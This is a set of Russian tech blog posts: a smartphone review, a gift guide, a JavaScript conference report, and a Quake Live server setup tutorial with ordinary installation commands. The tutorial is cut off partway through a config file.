https://habrahabr.ru/company/planado/blog/318140/
habrahabr
Десять месяцев с innos D6000: опыт эксплуатации
['Innos', 'D6000']
Со смартфоном innos D6000 я «подружился» ещё в феврале 2016 года, когда, привлеченный слухами о выходе innos на рынок, связался их европейским офисом. Под «дружбой» в данном случае стоит понимать...
Со смартфоном innos D6000 я «подружился» ещё в феврале 2016 года, когда, привлеченный слухами о выходе innos на рынок, связался их европейским офисом. Под «дружбой» в данном случае стоит понимать исключительно факт владения, а не слепую радость от всех его нюансов и особенностей. Среди последних, как водится, есть как хорошие, так и не очень. В этом посте я расскажу об опыте эксплуатации innos D6000, который накопился за 7 с половиной месяцев. Всего я выделил 7 важных моментов, касающихся этого аппарата. 1. Корпус у innos D6000 неубиваемый . Вообще я не сильно люблю металлические и стеклянные смартфоны. Потому что если уронить аппарат из алюминия, то на нем практичски гарантированно останутся вмятины. Если же бахнуть об асфальт смартфон из стекла, то с 99-процентной вероятностью придётся обращаться в ремонт. Потому что даже если выживет экран, то треснет задняя панель. Как следствия, лично я предпочитаю пластиковые модели. У них уровень выживаемости куда выше. Вот и innos D6000 как раз пластиковый. Задняя панель сделана из поликарбоната, напоминающего на ощупь «софт-тач». Однако плюс поликарбоната в том, что он а) не вытирается и б) не засаливается. Поэтому даже сегодня с тыльной стороны innos D6000 выглядит как новый. И это после 7 с половиной месяцев карманов джинсов, не всегда чистых рук (иногда приходится работать с глиной – не спрашивайте, зачем) и так далее. Спереди ситуация хуже, однако вины innos D6000 здесь нет. Просто аппарат выпал из кармана куртки, когда я фотографировал цветок на камеру, сидя на корточках. Смартфон шлёпнулся на бетон углом корпуса (см. фото ниже). Скорее всего, получил бы я разбитый экран, но спас небольшой бортик вокруг передней панели. Он немного помялся, зато дисплей остался в идеальном состоянии. Приятно, что разработчики предусмотрели такую вот полезную «мелочь». Отмечу, что такие бортики при всех их полезности есть далеко не везде. А в наше время, когда разработчики смартфонов увлеклись стеклом 2.5D (то есть изогнутым), бортики и вовсе исчезают как класс. И очень жаль. Лично на моём счету – разбитый экран iPhone 6, у которого такой вот пластиковой защиты нет. Он упал на асфальт с высоты примерно 70 см и тем самым обеспечил мне около 10 тысяч рублей дополнительных расходов. На замену дисплея. Внимание на угол – там видны результаты падения 2. Покрытие экрана innos D6000 слабо поддается истиранию . Я уже когда-то писал, что регулярно играю в гоночную аркаду Asphalt 8: На взлет. На выходных могу и по 7 часов в день рубится – ну отдыхаю я так, что тут сделаешь. Так вот экраны смартфонов нормально переживают постоянные (и плотные) контакты с большими пальцами далеко не всегда. Товарищи, которым я продавал свои старые смартфоны, нередко замечали пятна на дисплеях в районе мест контакта с пальцами и спрашивали – мол, что это такое? Скажем, покрытие экрана Motorola Droid Turbo (а это, между прочим, флагман своего времени) оказалось не очень надёжным: спустя три месяца игры пятна стали не просто заметными под определённым углом, а даже влияли на качество изображения. Просто картинка в этих двух местах казалась немного… ну, искаженной в цветах, что ли. innos D6000 сопротивлялся пятнам 6 с половиной месяцев. И только к концу седьмого я обнаружил небольшую потёртость – и только с одной стороны. Причем на качество изображения она, к моей большой радости, не влияет. Что же, респект разработчикам – поставили хорошее стекло. В innos говорят, что это оригинальное Gorilla Glass 3, и я склонен таким заявлениям верить. Небольшая и малозаметная потертость. Не уверен, что читатели ее разглядят 3. Апдейты софта выходят регулярно . Всего за указанный период вышло 4 новые прошивки, в которых добавлялись полезные мелочи. Например, возможность убирать нижнюю панель с кнопками. При этом появления новых глюков, которые нередко обнаруживаются в свежих прошивках для смартфонов других производителей, я не заметил. Впрочем, пожурить разработчиков тоже есть за что. Например, за принципиально голый Android – даже без оболочки Google Старт. Поэтому Android 5.1.1 Lollipop на innos D6000 выглядит так, как какой-нибудь Android 4.4 KitKat. Да, Google Now Launcher можно скачать и поставить из Google Play, но иногда он работает кривовато. В частности, процесс перелистывания рабочих столов иногда зависает на половине. А иногда (надо признать, куда чаще) не зависает. Думается, если бы Google Старт интегрировали в прошивку, то этот глюк бы заметили и исправили. Впрочем, это лично моя претензия. Есть ведь и другие лаунчеры, а многим и голый Android подойдет. И да, в декабре 2016 года таки вышла прошивка с Android 6.0 Marshmallow для innos D6000. Релиз прошивки с этой версией ОС несколько, гм, затянулся, но – как уж есть. Всё же innos D6000 из-за его двух батарей – устройство нестандартное, и для допиливания софта под всю эту схему с аккумуляторами потребовалось время. Апдейт получился стабильным – уже пару дней юзаю, полет нормальный. 4. Камера хороша днём и не очень хороша ночью . Сегодня все производители смартфонов носятся со съёмкой при плохих условиях освещения как с писаным яйцом. Без упоминания этого не обходится ни одна презентация флагмана. При этом качество съёмки в сумераках, обеспечиваемое этими самыми флагманами, всё равно уступает завалящей беззеркалке. В общем, как я понимаю, в innos всем этим не заморачивались. Хотя выбрали не первый попавшийся модуль камеры – обычно все производители для смартфонов такого класса берут 13-мегапиксельные модули, а innos D6000 выдаёт 16 мегапикселей. Для демонстрации того тезиса, что я вынес в подзаголовок, приведу всего два кадра. Самый удачный дневной и самый удачный вечерний. Днём высокого качества добиться можно. В темноте всё похуже. 5. innos D6000 «либерален» в плане карточек . Под этим стоит понимать следующее: есть два слота для SIM-карт и один отдельный (отдельный!!!) слот под MicroSD. Это очень удобно. Все эти идиотские ухищрения в стиле «или вторая симка, или флешка» выглядят дико. А ведь у Meizu, Xiaomi, Huawei и даже у Samsung всё часто обстоит именно так. Я регулярно тестирую смартфоны и замучился уже лишаться или второго номера, или карты памяти, где лежат фотки и некоторые apk-шки приложений. Более того, конструкция слотов у innos D6000 такова, что туда можно вставить и MicroSIM, и NanoSIM. То есть наблюдается практически полная универсальность. Жаль только, что карты памяти объёмом более 32 Гб смартфон не «кушает». Знаю, что есть народные методы, способные заставить аппарат распознать карточку на 64 Гб, но… Что-то я им не доверяю. Мой приятель с помощью этих методов угробил флешку. 6. Порт USB Type-C это пока скорее минус, чем плюс . Летом отдыхал за границей. В самолет садился с батарейками, разряженными на три четверти. Ничего особенно страшного я в этом не видел, поскольку знал, что в одном из чемоданов лежит знакомый оранжевый кабель. Плюс запасная батарейка, которую я в свое время купил на innos.com/ru вместе со смартфоном. Ну и в итоге оказалось, что кабель и батарейка не в чемодане, а очень даже дома. На столе. Короче, пошел по местным курортным магазинам и таки да, нашел кабель USB Type-C. За 40, блин, долларов. Для сравнения: MicroUSB-шнурок предлагался за 2. Более того, радушный консультант предложил зарядить мой смартфон бесплатно – при условии, что в моём аппарате MicroUSB. Потому что распакованных кабелей USB Type-C у него нет. Короче говоря, USB Type-C – это очень удобно, но пока не сильно практично. Через полгода-год, думаю, этот минус уйдет. 7. Автономная работа – моё почтение . У меня innos D6000 работает в среднем до 5 дней. Видео крутить можно до 20 часов (в HD-качестве при яркости экрана в 50%). Причём, что немаловажно, за 7 с половиной месяцев автономная работа не уменьшилась. Это значит, что батарейки используются качественные и ёмкость они за этот период если и потеряли, то настолько, что это не заметно. Вообще вся эта схема с двумя батареями и возможностью задешево (990 рублей) купить дополнительный аккумулятор мне очень нравится. Это удобнее, чем носить с собой power bank и подключать к нему смартфон с помощью кабеля. Учитывая, что менять батареи можно без выключения смартфона (как и, кстати, извлекать/устанавливать SIM-карты и флешку), получаем реально продуманную и практически идеально работающую систему. Альтернативу которой ни один другой производитель пока не предложил. В качестве вывода скажу так. innos D6000 сегодня стоит 13 990 рублей. Я могу себе позволить и более дорогой аппарат, но в качестве основной трубки использую именно эту модель. Да, хотелось бы более качественную камеру, плюс, возможно, я не отказался бы от более яркой расцветкой корпуса (впрочем, этот вопрос отчасти может быть решен с помощью официального оранжевого чехла). Но в остальном аппарат радует: хороший Full HD-экран, быстрое железо (Snapdragon 615 + 3 Гб оперативки), практичные материалы корпуса, ну и, конечно, зверский аккумулятор. Точнее, даже два. За свои деньги модель удачная, и причин менять её я пока не вижу. Разве что на следующий innos, если он сохранит фишку с двумя батареями.
https://geektimes.ru/company/innos/blog/283908/
habrahabr
Технологичные подарки для девушек
['новый год', 'подарок девушке', 'гаджеты']
Декабрь в самом разгаре, а времени для покупки подарков все меньше и меньше. Не успеешь оглянуться, как наступит последняя неделя декабря, и предновогодний ажиотаж навеет панику. Пора...
Декабрь в самом разгаре, а времени для покупки подарков все меньше и меньше. Не успеешь оглянуться, как наступит последняя неделя декабря, и предновогодний ажиотаж навеет панику. Пора задуматься о том, что бы вы хотели подарить своим вторым половинкам или мамам, сестрам, подругам. Мы собрали для вас обзор интересных бьюти- и не только гаджетов, которые помогут вам сделать незабываемый подарок. Полезные гаджеты Лучший подарок — полезный подарок, и фитнес-трекер этому вполне соответствует. Обычно они выпускаются в стиле унисекс, без излишних заморочек. Например, второй Mi Band может стать отличным подарком как для женщины, так и для мужчины. Нейтральная гамма из четырех цветов отлично подойдет обоим полам. Простой и необходимый набор характеристик: мониторинг сна, будильник, шагомер, подсчет калорий. Можно настроить оповещение на звонки, СМС и оповещения из приложений. Что важно — совместим с Android и iOS и держит заряд до 20 дней. Если вы решили сместить акцент с универсальности на женственность — готовьтесь к долгим поискам. Очень мало компаний делают исключительно женские трекеры. Но если хочется чего-то более изящного, можно обратить внимание на браслет Samsung Smart Charm , представленный в трех цветах: золотой, черный и розовый. Без зарядки продержится около двух недель. В отличие от Mi Band 2, у него нет экрана, но можно настроить разные цветовые оповещения на входящие вызовы, СМС, оповещения из соцсетей, уровень зарядки аккумулятора и другое. Дизайн красивый, но трекер не лишен существенных минусов: совместим только с Android, отсутствует вибрация. Внешне этот фитнес-трекер очень похож на Xiaomi AmazFit . Изящный и элегантный, без дисплея, но защищенный от пыли и влаги. Мониторинг сна, активности, подсчет калорий, оповещения о звонках и СМС, беспроводная зарядка. Работает без подзарядки около десяти дней, совместим с Android и iOS. Керамический корпус не только очень красив, он еще и прочен. Браслету не страшны удары и царапины, чего не скажешь о других фитнес-трекерах с экранами или металлическими корпусами. И самое интересное: трекер можно носить не только как браслет, но и как кулон. Для белого и черного круглого корпуса подбираются ремешки различных цветов и цепочки. Корректор осанки Lumo Lift Прямая осанка — залог здоровья и красоты. Очень простенький гаджет-магнит легко крепится к блузке или пиджаку и вибрирует, когда ты начинаешь сутулиться. Компания Lumo BodyTech серьезно подошла к решению проблемы искривлений позвоночника. Их первый продукт, пояс для выпрямления осанки, получил много положительных откликов и собрал нужное количество денег на Kickstarter для запуска. Внешне гаджет очень минималистичный: спереди кнопка, просвечивающийся диод, сзади контакты для зарядки и крепление на одежду. Три цвета корпуса: белый, черный и золотой. Аппарат крепится к одежде с изнанки, поэтому с внешней стороны видно только магнит. Этот магнит имеет много различных цветов. В приложении отображается время, сколько часов в день вы сутулитесь, сколько держите спину прямо. Умный бюстгальтер OMBRA Очень удобным и технологичным решением может показаться умный бюстгальтер OMBra для занятий спортом. Он адаптируется к каждой тренировке и к конкретному телу, а особая конструкция и материал бюстгальтера снижают нагрузку на спину и плечи. Датчики OMBra записывают данные о пульсе, ритме сердца и частоте дыхания. Заряда хватает на целый день непрерывного использования. Собранная биометрическая информация автоматически пересылается на подключенное iOS-устройство, где, исходя из нее, рассчитывается личная статистика и количество потраченных калорий. Это позволяет владелицам бюстгальтера в будущем с высокой точностью планировать тренировки. Система для отбеливания зубов GLO Brilliant Personal Teeth Whitening Device Отбеливание зубов в домашних условиях — популярное явление, поэтому на рынке можно найти множество гаджетов и средств, деликатно выполняющих эту функцию. Очень интересная новинка года — прибор от GLO. Он работает за счет одновременно нагревания и ультрафиолетового излучения. В комплекте идет специальный отбеливающий гель. Электрические звуковые зубные щетки Philips Sonicare Давно известно, что электрические щетки намного полезнее обычных. Зубные щетки Philips Sonicare удаляют до 90 % потемнений с поверхности эмали и деликатно отбеливают зубы. За две минуты электрическая щетка совершает столько же движений, сколько обычная — за полчаса. Насадка InterCare легко удаляет налет из межзубных промежутков и труднодоступных мест. Помимо этого, щетка сама управляет чисткой зубов. Она выключается в конце «работы», сообщает вибрацией о необходимости зарядки или «намекает», что пора переходить к чистке другого участка. Массажер для глаз Iris Illuminating Eye Massager от FOREO Компания FOREO производит очень много различных бьюти-гаджетов. У них можно найти прибор для очищения кожи Luna и необычные зубные щетки Issa. В этом году FOREO представила гаджет Iris для массажа лица с помощью звуковых волн. Гаджет хоть и узконаправленный, но весьма полезный. Он очень хорош сам по себе, но если использовать его после нанесения средств для ухода за лицом, то гаджет усилит их действие. Прибор для скульптурирования лица NuFace Trinity Facial Toning Device Скульптурирование лица за счет декоративной косметики приносит очень быстрый видимый результат, но пользы для кожи от этого не так много. Подарите вместо декоративной косметики прибор для скульптурирования лица, который работает за счет системы электротоков. Всего пять минут в день способствуют улучшению тонуса и цвета кожи, подтягиванию опустившихся щек и бровей, уменьшению носогубных складок и глубоких морщин. Прибор для скульптурирования лица Dr. Jart+ Liftra Contour Shaper Если предыдущий гаджет показался вам дороговатым, есть дешевый аналог: металлический прибор Liftra Contour Shaper. Он делает массаж лица и очерчивает его контур. Отлично подходит для ежедневного использования и очень быстро дает результат: кожа становится подтянутой, здоровой, а скулы — более выразительными. Аппарат для ухода за лицом Clarisonic Smart Profile Аппараты для ухода за лицом упрощают ежедневный уход за кожей и повышают его эффективность. Они хорошо очищают кожу. Несколько режимов позволяют ухаживать за кожей различного типа. Настройка Turbo идеально подходит для обработки проблемных зон. А насадка Smart переводит аппарат в интеллектуальный режим и начинает автоматически регулировать время и интенсивность воздействия в зависимости от чувствительности участка. Разнообразие насадок аппарата Clarisonic позволяет ухаживать за кожей и лица, и всего тела. Сенсорная маска MAPO Стартап парижской компании Wired Beauty создал сенсорную маску, которая позволяет составить индивидуальную программу по домашнему уходу не хуже профессионального дерматолога. Маска измеряет температуру, считает количество влаги в эпидермисе, тщательно анализирует характеристики кожи, составляет подробный отчет и выводит его на экран смартфона. Таким образом, она сможет посоветовать средства, которые необходимы вашей коже на данный момент. Маска не только анализирует состояние кожи. Нагреваясь до сорока градусов, она значительно усиливает эффективность нанесенного заранее средства, будь то увлажняющий крем или восстанавливающая сыворотка. Priscilla Sonic Brushball для очищения лица и устранения темных кругов под глазами Синяки и мешки под глазами — больная тема для многих женщин. Кожа под глазами требует особого ухода, и для нее необходимы специальные кремы и приборы. Этот гаджет включает в себя щеточку для ухода за лицом и стальной массажный ролик для ухода за тонкой кожей век. Массаж нужно проводить утром и вечером, предварительно нанеся на область век специальный крем. Массажный шарик выполнен из нержавеющей стали. Питается аксессуар от одной батарейки формата ААА. Гаджет для нанесения тонального крема Color Me Automatic Foundation Applicator Как ни странно, существуют и бьюти-гаджеты для декоративной косметики. Компания Color Me представила прибор, который готов заменить спонжи и кисточки для нанесения тонального крема. Средство с насадкой в виде спонжа вбивает тональный крем в кожу при помощи механической пульсации. В результате такой процедуры можно получить ровный тон кожи и стойкое покрытие. Принтер для ногтей Inail Если вы постоянно опаздываете в кино или на мероприятия из-за того, что у вашей девушки сохнет маникюр, то эту проблему может решить принтер для ногтей. На ногти наносится специальный состав. Принтер различает его и печатает поверх выбранный из базы рисунок. Ограничений для фантазий нет никаких. На ногтях можно запечатлеть любую фотографию. Diorshow Heat Curl Керлеров для ресниц много, даже электрических, но Heat Curl выглядит несколько эффектнее, чем остальные. Им можно подкручивать ресницы до нанесения туши или уже накрашенные (зафиксировать изгиб). Стоит он, кстати, не дороже обычной туши Dior. Домашний фотоэпилятор Philips Lumea BRI863 Одни из самых популярных женских подарков — эпиляторы. Их существует огромное множество, поэтому выбрать подходящий не всегда легко. Philips Lumea BRI863 — домашний фотоэпилятор, способный заменить косметологические процедуры. Благодаря специальному экрану умный прибор умеет определять тип кожи и самостоятельно регулировать настройки. А расширенное световое окошко помогает существенно сократить длительность процесса и уменьшает возможность появления неприятных ощущений и раздражения на коже. Эффект от одной процедуры длится целый месяц. Звездная юбка Не каждый день можно надеть юбку со светодиодами, но это отличный подарок на Новый год! В праздники она добавит волшебной атмосферы благодаря звездному мерцанию 250 светодиодов. Она может пригодиться и для различных вечеринок, в том числе Хеллоуина. Необычные переносные аккумуляторы для телефона Аккумуляторы для телефона стали одной из самых необходимых обыденных вещей. Но если хочется подарить что-то очень полезное, но при этом красивое и интересное, то обратите внимание на необычный аккумулятор для зарядки смартфона. Необычность состоит не в функциональности, а во внешнем виде. Тут можно найти аккумулятор в виде Дарта Вейдера, штурмовика, в рождественском стиле. Вариантов достаточно, так что есть из чего выбрать. Космический браслет Если очень хочется подарить что-то из украшений, то можно сделать выбор в пользу сияющего космического браслета. Благодаря светодиодам изображение, сделанное космическим телескопом «Хаббл», становится живым и завораживающим. Чтобы свечение не заканчивалось, браслет нужно иногда подзаряжать. Список внушительный, но предложений на рынке гаджетов для женщин куда больше! Есть из чего выбрать, с чем сравнить, потому уже сейчас важно начать поиски идеального подарка. И помните, лучший подарок — тот, что преподнесен от сердца и с заботой. Любите своих близких! А какой вариант подарка вы могли бы посоветовать?
https://geektimes.ru/company/mailru/blog/283898/
habrahabr
HolyJS Moscow: Время экспансии
['конференция', 'HolyJS', 'JavaScript', 'Logux', 'WebVR', 'node.js', 'ecmascript']
JavaScript-мир развивается так бурно, что даже за полгода между петербургской и московской HolyJS многое успело произойти: например, летом о Yarn ещё никто не знал, а сейчас у него больше 20...
JavaScript-мир развивается так бурно, что даже за полгода между петербургской и московской HolyJS многое успело произойти: например, летом о Yarn ещё никто не знал, а сейчас у него больше 20 000 звёзд на GitHub . И для самой конференции тоже многое изменилось: в июне она проходила в самый первый раз, так что тогда ещё не было фидбэка зрителей, очень помогающего при организации. Отличалась ли в таком случае московская версия, и как вообще она прошла? О некоторых докладах уже написали в блоге Mail.Ru Group, а теперь мы публикуем собственный текст о мероприятии. Конференция, как и предшествовавшие ей DotNext с «Гейзенбагом» , прошла в «Radisson-Славянской» — и уже на открытии было видно, что по масштабу она вполне соответствует этой площадке. После приветствий организаторов и спонсоров сцену занял Аксель Раушмайер с кейноутом, посвящённым нововведениям ECMAScript (недавним и грядущим). Он начал с контекста: «раньше релизы были редкими и большими, но из-за этого что-то долго дожидалось релиза, а что-то выпускали сырым — теперь перешли к ежегодному циклу, а каждая фича до попадания в релиз проходит четыре стадии». По мнению Акселя, среди ещё не вышедших фич стоит обращать внимание на те, которые уже достигли третьей — на первых двух всё ещё слишком сыро и спекулятивно, может измениться или отмениться. Для такой темы этот спикер самый подходящий: Аксель известен именно как человек, подробно разбирающийся в каждой новой версии ECMAScript и помогающий разобраться другим. Этому посвящены и тексты его блога , и книги . Онлайн-версии книг доступны бесплатно, в том числе свежая «Exploring ES2016 and ES2017» — так что те, кто не был на HolyJS или кому оказалось мало выступления, могут навёрстывать по ней. Дальше действие разделилось на три трека, и на главной сцене Виктор Грищенко говорил о преимуществах стандартизации. Многие его слайды находили живой отклик в аудитории, но, кажется, сильнее всего в душу зрителей запала эта фотография римской стены, сопровождавшаяся комментарием «реальная жизнь простых итальянских парней применима к веб-разработке». На снимок можно долго смотреть, находя всё новые элементы, каждый из которых явно был частью большого замысла — а в итоге получился легаси-проект из мешанины всего подряд. Знакомая история? Томас Уотсон рассказывал о дебаггинге Node.js — тем самым напоминая, что конференция посвящена всему JavaScript-миру, а не конкретно фронтенду. Без запоминающихся слайдов не обошлось и здесь: отдельные понятия он иллюстрировал эмодзи, и можно догадаться, что в «core dump» соответствовало второму слову. Но, в отличие от доклада Грищенко, здесь были не общие рассуждения об архитектуре, а куда более конкретные советы по отладке. Например, доклад позволял узнать об инструменте Autopsy — его используют совместно с Oracle VirtualBox, чтобы разбираться с теми же дампами дебаггером mdb. Название инструмента, конечно, запоминающееся, и при этом по делу: «autopsy» переводится как «вскрытие». Следом выступал Никита Прокопов из южноафриканского стартапа Cognician. Технологический стек у этой компании не менее экзотический, чем страна, но Никита говорил не о какой-либо конкретной используемой технологии. Вместо этого он рассматривал веб-приложения с высоты птичьего полёта, построив пирамиду, схожую с пирамидой Маслоу: вверх логично подниматься уже после того, как пройдены предыдущие этапы. Любопытно, что в число ступеней он включил «оптимистичный UI» — эту тему недавно хорошо разобрал в своей статье другой спикер HolyJS Денис Мишунов . И, как в случае c докладами Мишунова, тут внимание многих зрителей привлекли красочные слайды. Андрей Ситник , сменивший Прокопова на главной сцене, говорил о своём новом проекте Logux (кое-что о котором ранее рассказал нам в интервью ). Начав со слов «мы много думаем о сервере и много о клиенте, а проблема между ними», он стал объяснять, как Logux призван помочь с этой проблемой, при разрыве интернет-соединения «откладывая» события для последующей отправки. Его доклад сначала мог показаться полной противоположностью предыдущему (тут всё было про одну конкретную технологию), но кое в чём перекликался: Ситник заявил, что поверх Logux удобно реализовывать те же оптимистичные интерфейсы. А на вопрос слушателя «Как ты оцениваешь вероятность того, что проект полетит?» ответил трезво: «Как фартанёт. Маркетинг сделаем жёсткий, но если завтра Facebook выпустит то же самое, куда я полечу?» Тему проблемного интернет-соединения дальше развивал Макс Стойбер в докладе «Offline is the new Black». Легко потроллив зрителей («Камбоджа — часть мира, о которой вы думаете так мало, что всё ещё не заметили, что на слайде обведена не Камбоджа»), он заговорил о том, что в мире всё ещё многие делают скриншоты статей для последующего чтения в оффлайне, так что вопрос «оффлайнизации» приложений остаётся актуальным. И с этим вопросом всё куда менее очевидно, чем хотелось бы: казалось бы, для этого давно существует Application Cache, но о его проблемных местах существует целая статья «Application Cache is a Douchebag» , и с Service Workers всё тоже не совсем так , как хотелось бы. А Мартин Сплитт говорил о WebVR . Нужно ли вообще человечеству «VR в браузере», когда и без браузера перспективы VR ясны не до конца? Мартин считает, что нужно, и привёл интересный аргумент в пользу этого: «Люди получают в VR интересный опыт, но пытаться передать его другим с помощью скриншотов — всё равно что пытаться показать коллеге смешную гифку, распечатав её на бумаге. Это просто не работает. Нам нужна возможность делиться VR-контентом так же легко, как мы делимся ссылками на гифки». Любопытно, что получилось развитие темы с петербургской HolyJS: там был доклад про WebGL и Three.js, а здесь — про то, что теперь возникает на основе WebGL. Наконец, завершал конференцию кейноут Дениса Мишунова . Про оптимистичные интерфейсы на HolyJS многое сказали и без него, и у него речь пошла не о конкретном тренде — а о том, как попытки угнаться сразу за всеми трендами мира приводят разработчиков к фрустрации, и других подобных проблемах. Как водится у Дениса, доклад сопровождался красочными картинками его собственного авторства: на последнем слайде своих презентаций он прямо пишет «Да, иллюстрации мои», упреждая напрашивающийся вопрос. Отличалась ли в итоге московская конференция от петербургской? Некоторые спикеры, вроде того же Дениса Мишунова и Виктора Грищенко, выступили на обеих (после того, как Денис и Виктор попали в топ-5 докладов первого HolyJS, не осталось сомнений, что зрители их ценят). Но в программе было и бросающееся в глаза отличие. На петербургской из 23 докладов англоязычными были только 2, а на московской уже половину программы составили зарубежные спикеры, от немца Акселя Раушмайера до датчанки Терезы Сокол. Вывод напрашивается простой: в первый раз конференция встала на ноги в местном JS-комьюнити, а во второй — успешно произвела экспансию, собрав спикеров со всего мира. И это принесло плоды сразу же. Согласно оценкам зрителей, из топ-5 докладов московской HolyJS сразу четыре были от зарубежных спикеров: Martin Splitt «WebVR is the next frontier» Nikolaus Graf «Rich text editing with Draft.js» Matin Kleppe «3L3M3NT5» Thomas Watson «Debugging Node.js in production» Роман Дворнов «Remote (dev) tools своими руками»
https://habrahabr.ru/company/jugru/blog/317972/
habrahabr
Настройка сервера Quake Live — пошаговое руководство
['quake live', 'elo', 'linux games', 'linux-сервер']
Quake 3, как много в этом звуке… За последние 16 лет, с момента выхода первой версии, q3 изменился не сильно. Не поймите неправильно — игра менялась. Развились и канули в лету турнирные моды...
Quake 3, как много в этом звуке… За последние 16 лет, с момента выхода первой версии, q3 изменился не сильно. Не поймите неправильно — игра менялась. Развились и канули в лету турнирные моды (Привет, osp, cmpa — мы вас помним!), родился quake live в браузере, перебрался в steam. Чемпионатов стало меньше, игроков на серверах — тоже. Но бесшабашная динамика осталась практически неизменной. В современной инкарнации, Quake Live — всё та же старая-добрая игра, вобравшая в себя все лучшие наработки за прошедшие годы. Чего стоит только сервер minqlx, написанный на python, с поддержкой плагинов и кросс-серверной статистикой на qlstats.net, и огромный marketplace в стиме с дополнительными режимами игры, картами, звуками. И хоть серверов сейчас намного больше, чем игроков — данный очерк скорее претендует на демонстрацию возможностей, и не призывает их бездумно плодить. Но, если вы просто хотите свой небольшой сервер для игры с друзьями долгими зимними вечерами, и не знали с чего начать, или Вам просто интересно, как сейчас происходит процесс установки — добро пожаловать под кат! Инструкция актуальна для Ubuntu Server от 14.04 и выше. (в других дистрах установка minqlx может быть усложнена отсутствием python35 из коробки). Начнём с тривиальных вещей — поставим полезный софт, откроем порты на firewall. Команды вводятся от имени root. apt-get install -y wget fail2ban htop firewalld mc adduser ql firewall-cmd --permanent --zone=public --add-port=27960-27965/tcp && firewall-cmd --permanent --zone=public --add-port=27960-27965/udp && firewall-cmd --reload порты udp использует сервер игры, tcp — сервер статистики qlstats Установим дополнительный софт и зависимости apt-get install -y libc6:i386 libstdc++6:i386 software-properties-common supervisor build-essential redis-server git wget http://download.zeromq.org/zeromq-4.1.4.tar.gz; tar -xvzf zeromq-4.1.4.tar.gz; rm zeromq-4.1.4.tar.gz; cd zeromq*; ./configure --without-libsodium; make install; cd ..; rm -r zeromq*; easy_install pyzmq Очередь за установкой собственно сервера Quake Live через Стим mkdir /home/steam; cd /home/steam; wget https://steamcdn-a.akamaihd.net/client/installer/steamcmd_linux.tar.gz; tar -xvzf steamcmd_linux.tar.gz; rm steamcmd_linux.tar.gz /home/steam/steamcmd.sh +login anonymous +force_install_dir /home/ql/ +app_update 349090 +quit После недолгого ожидания, сервер загружен в директорию ql и готов к работе. Но самое интересное только начинается — для полноценной работы понадобится установить и настроить minqlx. Список команд сервера доступен на GitHub . cd /home/ql wget -O - https://api.github.com/repos/MinoMino/minqlx/releases | grep browser_download_url | head -n 1 | cut -d '"' -f 4 | xargs wget && find -name \minqlx*.tar.gz -exec tar xvzf '{}' \; && find -name \minqlx*.tar.gz -exec rm '{}' \; Настроим автообновление сервера, иначе через некоторое время клиенты не смогут к нему присоединиться: tee /home/quakeupdate.sh <<-'EOF' echo "updating quake live [$(date)]" /usr/bin/supervisorctl stop all /home/steam/steamcmd.sh +login anonymous +force_install_dir /home/ql/ +app_update 349090 +quit /usr/bin/supervisorctl start all EOF chmod +x /home/quakeupdate.sh && echo -e "\n0 6 * * * root sh /home/quakeupdate.sh > /var/log/quakeupdate.log 2&>1;chown -R ql:ql /home/ql" >> /etc/crontab После установки сервера — логично поставить плагины. Не буду описывать их все, остановлюсь на тех, что качаются отдельно и не входят в стандартную поставку: branding — изменение надписей, которые показываются при подключении к серверу. q3resolver — сопоставление старых названий карт из q3 с новыми названиями, работает только для dm и ctf карт, но можно вписать дополнительные, или задать свои шорткаты. ratinglimiter — позволит ограничить вход на сервер игрокам с рейтингом ниже или выше заданного; для использования в конфиге должен быть включен модуль balance. changemap — меняет карту на заданную в конфиге, когда на сервере никого нет. pingspec — вежливо просит покинуть сервер (kick) игроков с пингом выше заданного значения. clanspinner — свистелка для анимации клантега, просто чтобы показать, что это возможно :) autorestart — перегружает сервер в заданное время, когда на нём нет игроков. custom_vote — накладывает ограничения на определённые режимы голосования в игре. полный список плагинов смотрите вот тут git clone https://github.com/MinoMino/minqlx-plugins.git && cd ./minqlx-plugins && wget https://raw.githubusercontent.com/tjone270/Quake-Live/master/minqlx-plugins/branding.py && wget https://raw.githubusercontent.com/tjone270/Quake-Live/master/minqlx-plugins/q3resolver.py && wget https://raw.githubusercontent.com/tjone270/Quake-Live/master/minqlx-plugins/ratinglimiter.py && wget https://raw.githubusercontent.com/tjone270/Quake-Live/master/minqlx-plugins/changemap.py && wget https://raw.githubusercontent.com/tjone270/Quake-Live/master/minqlx-plugins/archive/beta/pingspec.py && wget https://raw.githubusercontent.com/tjone270/Quake-Live/master/minqlx-plugins/archive/beta/clanspinner.py && wget https://raw.githubusercontent.com/tjone270/Quake-Live/master/minqlx-plugins/autorestart.py && wget https://raw.githubusercontent.com/tjone270/Quake-Live/master/minqlx-plugins/custom_votes.py Дело за малым — создаём файл для запуска сервера tee /home/ql/start-server.sh <<-'EOF' #!/bin/bash gameport=`expr $1 + 27960` rconport=`expr $1 + 28960` servernum=`expr $1 + 1` rm /home/ql/$gameport/baseq3/server.cfg cp /home/ql/baseq3/server-$servernum.cfg /home/ql/$gameport/baseq3/server.cfg exec /home/ql/run_server_x64_minqlx.sh \ +set net_strict 1 \ +set net_port $gameport \ +set sv_hostname "My best server #$servernum" \ +set fs_homepath /home/ql/$gameport \ +set zmq_rcon_enable 1 \ +set zmq_rcon_password "rconpassword" \ +set zmq_rcon_port $rconport \ +set zmq_stats_enable 1 \ +set zmq_stats_password "statpassword" \ +set zmq_stats_port $gameport EOF Обратите внимание, конфиг сервера должен находиться в директории ./baseq3/ Имя конфига — server-1.cfg для сервера на порту 27960, server-2.cfg для сервера на порту 27961 и т.д. Количество запущенных серверов регулируется через supervisor, об этом ниже. Сперва нужно подготовить файл access.txt и вписать в него 17-значный стим-id (тот, что в урл при переходе на ваш профиль в стим) с указанием предоставить админ-доступ. Делается это очень просто: echo -e "\n12345678910111213|admin" >> /home/ql/baseq3/access-my.txt В этом же файле можно прогнать неугодных (чтобы забанить игрока — нужно написать id|ban), или поощрить достойных (id|mod — модератор). В данном случае, все сервера будут использовать один список доступа, но можно сделать и разные, по аналогии с конфигами. Файлы можно подключать прямо во время игры: g_accessFile "filename" reload_access но в этом случае ql будет их искать в директории /home/ql/номерпорта/baseq3 Чтобы сервер работал — нужен конфиг: tee /home/ql/baseq3/server-1.cfg <<-'EOF' set sv_tags "Location,duel,elo". set sv_mapPoolFile "mappool_duel.txt" set g_gametype "duel" set g_accessFile "access-myaccess.txt" set sv_maxClients "10" set g_password "" set sv_privateClients "2" set sv_privatePassword "mypass". set com_hunkMegs "60" set sv_floodprotect "10" set g_floodprot_maxcount "10" set g_floodprot_decay "1000" set g_voteFlags "29800" set g_allowVote "1". set g_voteDelay "0". set 